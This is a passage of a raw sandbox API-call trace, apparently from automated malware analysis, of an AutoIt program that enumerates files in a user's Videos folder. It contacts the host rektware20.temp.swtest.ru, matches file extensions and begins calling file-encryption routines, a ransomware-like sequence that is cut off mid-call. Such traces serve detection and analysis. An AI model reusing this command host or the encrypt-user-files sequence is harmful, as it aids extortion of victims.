lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.394] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.395] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.397] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0065.398] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.399] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0065.400] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.401] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.401] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.402] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.402] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.403] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.406] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.406] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.407] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.407] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.407] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.408] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.408] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.411] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.414] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.415] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.415] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.416] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0065.416] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.417] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0065.418] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.418] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.418] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.419] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.419] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.419] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.420] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.420] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.420] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.420] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.422] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.423] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.423] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.423] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.423] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.423] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.423] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.423] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.424] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.424] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.424] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0065.424] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.426] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.426] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.428] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.428] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.429] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.429] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.429] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.429] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c) returned 1 [0065.429] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.429] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.430] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.431] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.431] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.432] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.432] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.432] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.432] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.433] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.433] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.433] CloseHandle (hObject=0x0) returned 0 [0065.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tBBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BBT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BT0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GRNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RNgqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ngqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gqj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qj6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HkHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HH87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="87.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.437] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.437] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.437] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.437] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.438] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.438] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c) returned 1 [0065.438] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.438] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.438] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.439] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.439] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.439] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.440] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.455] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.455] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.455] CloseHandle (hObject=0x0) returned 0 [0065.456] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.456] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.456] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.456] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.456] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.457] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.457] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.457] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.457] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.457] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.460] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.460] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.460] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.460] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.460] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.460] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.460] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.461] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, 